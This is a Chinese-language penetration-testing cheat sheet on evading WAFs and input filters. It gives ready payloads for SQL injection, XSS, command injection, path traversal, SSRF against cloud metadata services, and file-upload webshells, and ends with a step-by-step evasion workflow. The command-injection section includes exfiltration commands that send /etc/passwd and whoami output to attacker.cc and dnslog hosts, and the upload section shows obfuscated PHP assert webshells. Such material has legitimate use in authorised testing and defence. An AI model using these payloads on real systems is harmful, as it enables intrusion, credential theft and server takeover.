11 KiB
11 KiB
通用绕过工具箱
综合改写自
core/bypass_strategies.md+ 各 wooyun playbook 的 bypass 章节 视角:黑盒,被 WAF / 过滤器 / 业务校验拦了,怎么继续
1. 绕过的本质
绕过 = 解析差异 + 边界 corner case + 防护盲区
每次被拦时问自己:
Q1. 防护组件和后端的解析是否一致?(前置 WAF vs Tomcat、CDN vs 源站)
Q2. 防护是否覆盖所有 corner case?(双编码、混合 case、长度溢出)
Q3. 防护是否覆盖所有入口?(Header、Cookie、HPP、其他动词)
通用决策树:
Payload 被拦
├─ 看返回是 WAF?应用?还是源站?
│ ├─ WAF 拦 → 协议层绕过(HPP / Chunked / 大小写 / Content-Type)
│ └─ 应用拦 → 编码层 / 语义层(双写、注释、等价函数)
├─ 看是黑名单还是白名单
│ ├─ 黑名单 → 找漏掉的关键字 / 同义词
│ └─ 白名单 → 找白名单允许的危险用法
└─ 看是输入过滤还是输出编码
├─ 输入过滤 → 多重编码 / 二次注入
└─ 输出编码 → 上下文逃逸(HTML→JS、URL→JS)
2. SQLi 绕过表(分维度)
2.1 关键字过滤
| 技巧 | Payload | 适用 |
|---|---|---|
| 大小写 | UnIoN SeLeCt |
黑名单纯 lower 检测 |
| 双写 | UNunionION SELselectECT |
一次替换型过滤器 |
| 注释插入 | un/**/ion sel/**/ect |
空白符过滤 |
| MySQL 内联注释 | /*!50000union*//*!50000select*/ |
经典 WooYun 案例 |
| 同义词 | || 代 OR,&& 代 AND |
关键字 OR/AND 过滤 |
| 等号替换 | LIKE / REGEXP / IN(1) / BETWEEN |
= 过滤 |
| 函数等价 | mid()/substr()/substring()/left() |
子串函数过滤 |
2.2 空格过滤
/**/ %09(Tab) %0a(LF) %0d(CR) %0b %0c
括号嵌套:select(user)from(dual)
反引号(MySQL):`select`user`from`
加号(URL 参数位):select+user+from
2.3 引号绕过
0x61646D696E (hex,'admin')
char(97,100,109,105,110)
%df%27 (GBK 宽字节)
2.4 数字型注入(无需引号)
id=1 AND 1=1
id=1 AND sleep(5)
id=1 AND IF(SUBSTRING(user(),1,1)='r',sleep(5),0)
2.5 时间盲注的双层延时(绕过 sleep 关键字)
id=(select(2)from(select(sleep(8)))v) # WooYun-2015-0114228
id=1 AND (SELECT (CASE WHEN (1=1) THEN SLEEP(10) ELSE 1 END))
id=1 AND dbms_pipe.receive_message('a',5)=1 # Oracle
id=1; WAITFOR DELAY '0:0:5'-- # MSSQL
3. XSS 绕过表
3.1 标签过滤
<ScRiPt> <script/x> <script\n> <script\t>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
3.2 事件库(按罕见度,越往下越能打 WAF)
onerror onload onclick onmouseover # 已被多数 WAF 收录
onfocus onblur oninput onchange autofocus # 中等
onanimationend ontransitionend ontoggle ontouchstart
onpointerenter oncanplay onauxclick onbeforeprint # 罕见
3.3 关键字 / 括号绕过
alert(1) # Unicode
eval('al'+'ert(1)') # 拼接
Function('alert(1)')() # 构造器
window['al'+'ert'](1)
String.fromCharCode(97,108,101,114,116,40,49,41)
alert`1` # 模板字符串绕括号
throw onerror=alert,1
location='javascript:alert(1)'
3.4 编码层(按上下文)
| 上下文 | 编码 | 示例 |
|---|---|---|
| HTML | 实体 | <script>alert(1)</script> |
| HTML | 16 进制实体 | <script> |
| JS 字符串 | Unicode | <iframe/onload=alert(1)> |
| URL | data: + base64 | data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== |
| CSS(IE) | 16 进制 | xss:\65\78\70\72\65\73\73\69\6f\6e(1) |
3.5 上下文逃逸快表
| 输出位置 | 闭合 | Payload |
|---|---|---|
<div>HERE</div> |
标签 | <svg onload=alert(1)> |
<input value="HERE"> |
引号 | " autofocus onfocus=alert(1) " |
<a href="HERE"> |
协议 | javascript:alert(1) |
<script>var x="HERE"</script> |
引号 | ";alert(1);// |
<script>var x={"k":"HERE"}</script> |
JSON | '-alert(1)-' 或 "};alert(1);// |
4. 命令注入绕过表
4.1 拼接符
Linux: ; | || && & `cmd` $(cmd) %0a(LF)
Windows: & | || && %0a
4.2 空格绕过
${IFS} cat${IFS}/etc/passwd
${IFS}$9 cat${IFS}$9/etc/passwd
%09(Tab) cat%09/etc/passwd
{a,b} {cat,/etc/passwd}
重定向 cat</etc/passwd
4.3 关键字绕过
c'a't c"a"t c\at # 引号 / 反斜杠分割
a=ca;b=t;$a$b /etc/passwd # 变量拼接
/bin/c?t /etc/passwd # 通配符
/???/??t /etc/p??s?? # 全通配
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套
4.4 cat 替代品(命令字过滤时)
tac head tail more less nl sort uniq od xxd base64 rev paste strings
# 全部能读出文件内容
4.5 无回显外带
# DNSLog
ping `whoami`.xxx.dnslog.cn
curl `cat /etc/passwd | base64 | tr -d '\n'`.xxx.dnslog.cn
# HTTP 外带
curl https://attacker.cc/?d=`whoami`
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/
# 时间外带(盲)
if [ `id -u` -eq 0 ]; then sleep 5; fi
5. 路径遍历 / 文件读绕过表
5.1 编码梯度
../ → %2e%2e%2f
../ → %252e%252e%252f (双重 URL)
../ → ..%c0%af / ..%c1%9c (超长 UTF-8,旧 Tomcat / GlassFish)
../ → %u002e%u002e%u2215 (IIS / 旧版 Java)
../ → ....// / ..../ (过滤器删一次后剩下原型)
5.2 截断 / 协议
%00 ../../../etc/passwd%00.jpg # PHP <5.3.4 / 旧 Java
; /admin;.jpg # IIS / Tomcat
file:// file:///etc/passwd
view-source: view-source:file:///etc/passwd
php://filter php://filter/convert.base64-encode/resource=index.php
5.3 目录跳板
/. // /./ /../ /;/
/static/../config /assets/..%2fapp/config.yml
6. SSRF 绕过表
6.1 IP 表示法
http://127.0.0.1
http://2130706433 # 十进制
http://0177.0.0.1 # 八进制
http://0x7f.0x0.0x0.0x1 # 16 进制
http://127.1 # 简写
http://[::1] # IPv6
http://[::ffff:127.0.0.1]
6.2 域名绕过
http://127.0.0.1.nip.io # 公共解析回环
http://localtest.me # 同上
http://attacker.com#@127.0.0.1
http://attacker.com\@127.0.0.1
http://attacker.com&@127.0.0.1
DNS Rebinding # 第一次查询返回外网,第二次返回内网(rbndr.us、tartarsauce.org)
6.3 协议
file:// file:///etc/passwd
gopher:// gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall...
dict:// dict://127.0.0.1:6379/info
ldap:// ldap://attacker.com/
ftp:// ftp://attacker.com/
6.4 云元数据(必试)
AWS http://169.254.169.254/latest/meta-data/
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
GCP http://metadata.google.internal/computeMetadata/v1/ Header: Metadata-Flavor: Google
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Header: Metadata: true
阿里云 http://100.100.100.200/latest/meta-data/
腾讯云 http://metadata.tencentyun.com/latest/meta-data/
7. WAF 通用绕过
7.1 协议层
| 技巧 | 说明 |
|---|---|
| HPP(HTTP Parameter Pollution) | ?id=1&id=2' OR 1=1--,前/后端取的参数不同 |
| Chunked Transfer-Encoding | Transfer-Encoding: chunked 让 WAF 看不到完整 body |
| Content-Type 混淆 | multipart 边界混淆 / 改为 application/xml 让 WAF 不解析 |
| HTTP 方法覆盖 | X-HTTP-Method-Override: PUT、_method=DELETE |
| HTTP/2 vs HTTP/1 转换差异 | 见 playbooks/http-smuggling.md |
| 大小写 Header | cONTENT-tYPE 某些 WAF 不认 |
7.2 编码层
1. 多重编码:URL → HTML 实体 → Unicode 三重套娃
2. 字符集:GBK 宽字节 / UTF-7 / UTF-16
3. Content-Encoding: gzip 压缩 body
7.3 长度 / 拆分
1. 超长参数(超过 WAF 检测窗口,常见 8KB / 16KB)
2. 多参数组合:part1=SEL part2=ECT
3. 二次注入:先存进 DB,再触发
4. 冷门入口:Cookie / Referer / X-Forwarded-For / User-Agent
8. 文件上传绕过表
| 检测层 | 绕过 |
|---|---|
| 客户端 JS | 禁用 JS / Burp 拦响应 |
| 扩展名黑名单 | .Php、.pHp、.php3/.php5/.phtml/.phar、.PHP%20、.php. |
| 扩展名白名单 | %00 截断(旧版 PHP/Java)、shell.jpg/.php(Nginx fix_pathinfo)、shell.asp;.jpg(IIS6)、.jspx |
| Content-Type | 改 image/jpeg、image/gif |
| 文件头 | 加 GIF89a\n<?php ...?> 或 \x89PNG... |
| 内容静态特征 | 变量函数 $a='ass'.'ert'; $a($_POST['x']);、array_map('assert',$_POST) |
| 二次渲染 | 把 payload 放在 EXIF、IDAT 块,渲染后仍可读 |
| 路径绕过 | filename=../../web/shell.php,旧版 ZipSlip |
| 解析配置 | Apache 多后缀 .php.xxx 从右向左、Nginx /x.jpg/.php |
9. 上传后访问路径不返回?
1. 抓包看响应是否含完整 URL
2. 看预览功能(很多 CMS 上传后能预览)
3. 看上传时间戳命名规则(`20140829221136jsp.jsp` 模式 → 时间爆破 ±60 秒)
4. 编辑器自带浏览功能(FCKeditor /connectors/...?Command=GetFoldersAndFiles&CurrentFolder=/../)
5. 配合任意文件读 / .git 泄露反推目录
10. Corner Case 速查清单
每发新 payload 前过一遍这张表:
- 双重 URL 编码(
%252e) - Unicode 变体(
%u0027、') - 宽字节(GBK,
%df%27) - Overlong UTF-8(
%c0%ae=.) - 混合编码(部分编码 + 部分明文)
- 注释嵌套(
/*!50000select*/) - 科学计数法 / 浮点(
1e0union、1.0union) - 负数 / 0(
-1 UNION、0 OR) - 制表 / 换页(
\t \v \f \r) - HPP(重复参数)
- Chunked / Content-Encoding gzip
- 重复 Header(重复 Host、重复 CL)
- 路径规范化差异(
//、/./、/;param、尾斜杠) - JSON 重复 key(取首 / 取末)
- XML DTD(
<!ENTITY xxe SYSTEM "file:///etc/passwd">)
11. 实战工作流(被拦了怎么办)
1. 先确认是谁拦的
→ 看响应头:Server / X-WAF / 错误页特征 / 状态码(403 / 406 / 418)
→ 同一参数发普通字符串看是否过;只在恶意 payload 触发就是 WAF
2. 识别 WAF
→ wafw00f https://target
→ 看常见特征:Cloudflare(cf-ray)、ModSecurity、AWS WAF、阿里云盾、长亭雷池
3. 选第一道绕过:
→ 编码层(最便宜):URL 双编码 → Unicode → 实体
→ 语义层:等价函数 / 注释 / 大小写
→ 协议层:HPP / Chunked / 改 method / 改 Content-Type
4. 第一道失败:
→ 拆 payload(多参数组合 / 超长前缀填充 / Cookie 走私)
→ 切入口(Header → Cookie → JSON body → multipart)
5. 还失败:
→ 二次注入(先存再触发)
→ 切目标(如果是 SaaS 多租户,换租户域名 / 子域)
→ 记录"防护有效",去打下一个端点